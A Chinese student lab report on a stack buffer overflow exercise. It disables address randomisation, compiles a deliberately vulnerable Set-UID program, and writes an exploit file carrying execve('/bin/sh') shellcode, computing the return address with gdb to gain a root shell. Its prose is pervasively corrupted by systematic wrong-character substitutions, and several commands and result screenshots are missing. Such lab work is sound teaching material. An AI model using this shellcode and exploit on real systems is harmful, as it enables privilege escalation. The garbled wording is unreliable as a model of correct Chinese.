20169201 2016-2017-2 《网络攻防实践》实验三 缓冲区溢出实验

实验报告

实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的状况。这一漏洞能够被恶意用户利用来改变程序的流控制，甚至执行代码的任意片断。这一漏洞的出现是因为数据缓冲器和返回地址的暂时关闭，溢出会引发返回地址被重写。
操做系统所使用的缓冲区，又被称为“堆栈”，在各个操做进程之间，指令会被临时储存在“堆栈”当中，“堆栈”也会出现缓冲区溢出。

实验准备

本次实验为了方便观察汇编语句，咱们须要在32位Ubuntu linux环境下做操做。须要配置好操做的环境.
1.输入命令安装一些用于编译32位C程序的东西：

-sudo apt-get update
-sudo apt-get install lib32z1 libc6-dev-i386
-sudo apt-get install lib32readline-gplv2-dev

2.输入命令“linux32”进入32位linux环境。
输入/bin/bash”使用bash：

实验步骤

1.咱们使用如下命令关闭使用地址空间随机化来随机堆（heap）和栈（stack）这一功能：
-sudo sysctl -w kernel.randomize_va_space=0
此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。所以，即便你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防御措施在/bin/bash中实现。
设置zsh程序：

2 .shellcode
通常状况下，缓冲区溢出会形成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而若是覆盖返回地址的数据是另外一个地址，那么程序就会跳转到该地址，若是该地址存放的是一段精心设计的代码用于实现其余功能，这段代码就是shellcode。

Shellcode实际是一段代码（也能够是填充数据），是用来发送到服务器利用特定漏洞的代码，通常能够获取权限。另外，Shellcode通常是做为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心，提到它天然就会和漏洞联想在一块儿，毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是Shellcode的编写。因为漏洞发现者在漏洞发现之初并不会给出完整Shellcode，所以掌握Shellcode编写技术就显得尤其重要。
#include <stdio.h> int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); }

3.漏洞程序
把如下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码以下：

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

经过代码能够知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置SET-UID。命令以下：

-fno-stack-protector 关闭栈保护机制机制。
-z execstack 用于容许执行栈。

4.攻击程序
咱们的目的是攻击刚才的漏洞程序，并经过攻击得到root权限。
把如下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码以下

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代码，“\x??\x??\x??\x??”处须要添上shellcode保存在内存中的地址，由于发生溢出后这个位置恰好能够覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉咱们，shellcode保存在 buffer+100 的位置。
如今咱们要获得shellcode在内存中的地址，输入命令：
gdb stack disass main
获得结果：

设置断点：

Str地址：

根据语句 strcpy(buffer+100,shellcode);
咱们计算shellcode的地址为 0xffffd020(十六进制)+100(十进制)=0xffffd084(十六进制)
编译程序gcc -m32 -o exploit exploit.c

攻击结果

先运行攻击程序exploit，再运行漏洞程序stack，观察结果

遇到的问题

出现段错误
重新计算gdb反汇编，计算内存地址，最后成功